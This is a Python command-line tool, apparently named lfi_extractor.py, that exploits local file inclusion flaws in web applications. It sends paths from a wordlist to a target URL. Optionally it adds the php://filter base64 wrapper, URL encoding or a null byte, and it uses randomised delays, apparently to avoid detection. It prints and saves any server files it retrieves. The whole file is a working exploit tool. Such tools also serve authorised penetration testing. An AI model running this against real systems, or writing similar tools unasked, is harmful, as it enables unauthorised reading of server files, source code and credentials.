import requests
import sys
import argparse
import base64
import time
import random
import urllib.parse

## TODO: add fuzzscan (../ and %00)

red = lambda text: '\033[0;31m' + text + '\033[0m'
green = lambda text: '\033[0;32m' + text + '\033[0m'

parser = argparse.ArgumentParser()
parser.add_argument('-url', type=str, help='Example: http://example.com/script.php?=')
parser.add_argument('-path_list', type=str, help='Path to LFI files to extract. Not needed in scan mode')
parser.add_argument('--b64', type=int, help='Uses php base64 extraction if given a 1')
parser.add_argument('--url_enc', type=int, help='Uses url encoding if given a 1')
parser.add_argument('--null', type=int, help='Adds a null byte if given a 1')
parser.add_argument('--output', type=str, help='Path to export the report')
parser.add_argument('--static', type=int, help='Uses the value provided as static time (seconds) between requests')
parser.add_argument('--dynamic', type=str, help='Uses the interval (e: 1-4) provided as dynamic random time (seconds) between requests')
args = parser.parse_args()

help_msg = 'Usage: python3 lfi_extractor.py -url -path_list --b64 --url_enc --null --static/dynamic --output'

url_lfi = args.url
path_list_file = args.path_list

if args.static and args.dynamic:
    print("Both static and dynamic cannot be used at the same time!")
    sys.exit(1)

if args.dynamic:
    if ((str(args.dynamic)).count("-")) != 1:
        print("Dynamic: provide an interval (e: 1-4)")
        sys.exit(1)
    int1, int2 = args.dynamic.split("-")
    def random_sleep(int1, int2):
        return (random.randint(int(int1), int(int2)) + (random.randint(0, 100)/100))

if (url_lfi == None) or (path_list_file == None):
    print(help_msg)
    sys.exit(1)

if args.path_list:
    paths = open(path_list_file, "r", errors="ignore")

def lfi():
    if (args.static == None) and (args.dynamic == None):
        sleep_time = 0
    if args.static:
        sleep_time = args.static
    if args.output:
        file = open(args.output, "a")
    if args.b64 == 1:
        php_b64 = "php://filter/convert.base64-encode/resource="
    wrong = requests.get(str(url_lfi+"/etc/ksksksksksksksksksks"))
    for line in paths:
        if args.dynamic:
            sleep_time = random_sleep(int1, int2)
        try:
            if args.b64 == 1:
                if args.url_enc == 1:
                    req = (str(url_lfi+urllib.parse.quote(php_b64+line.replace("\n",""), safe='')))
                    if args.null == 1:
                        req = (str(url_lfi+urllib.parse.quote(php_b64+line.replace("\n","")+"%"+"00", safe='')))
                elif args.null == 1:
                    req = (str(url_lfi+php_b64+line.replace("\n","")+"%"+"00"))
                else:
                    req = (str(url_lfi+php_b64+line.replace("\n","")))
                # print(req)
                r = requests.get(req)
                if (r.status_code == 200) and (len(str(base64.b64decode(r.content), "utf-8")) > 2) and ((str(base64.b64decode(r.content), "utf-8")) != wrong.content):
                    if args.url_enc == 1:
                        print(green(str(url_lfi+urllib.parse.quote(php_b64+line.replace("\n",""), safe=''))))
                    else:
                        print(green(str(r.url+" :\n")))
                    print(str(base64.b64decode(r.content), "utf-8"))
                    print("\n")
                    if args.output:
                        file.write(str(str(r.url)+" :\n"+str(base64.b64decode(r.content), "utf-8"))+"\n")
                        time.sleep(sleep_time)
                else:
                    print(red("Nothing on "+line.replace("\n","")))
                    time.sleep(sleep_time)
            else:
                if args.url_enc == 1:
                    if args.null == 1:
                        req = (str(url_lfi+urllib.parse.quote((line.replace("\n","")+"%"+"00"), safe='')))
                    else:
                        req = (str(url_lfi+urllib.parse.quote(line.replace("\n",""), safe='')))
                elif args.null == 1:
                    req = (str(url_lfi+(line.replace("\n","")+"%"+"00")))
                else:
                    req = (str(url_lfi+line.replace("\n","")))
                # print(req)
                r = requests.get(req)
                if (r.status_code == 200) and (len(r.content) > 1) and (r.content != wrong.content):
                    print(green(r.url)+" :\n")
                    print((r.content).decode())
                    print("\n")
                    if args.output:
                        file.write(str(r.url+" :\n"+(r.content).decode()+"\n")+"\n")
                    time.sleep(sleep_time)
                else:
                    print(red("Nothing on "+line.replace("\n","")))
                    time.sleep(sleep_time)
        except KeyboardInterrupt:
            print("\nUSER EXIT")
            sys.exit(1)
        except:
            continue

lfi()
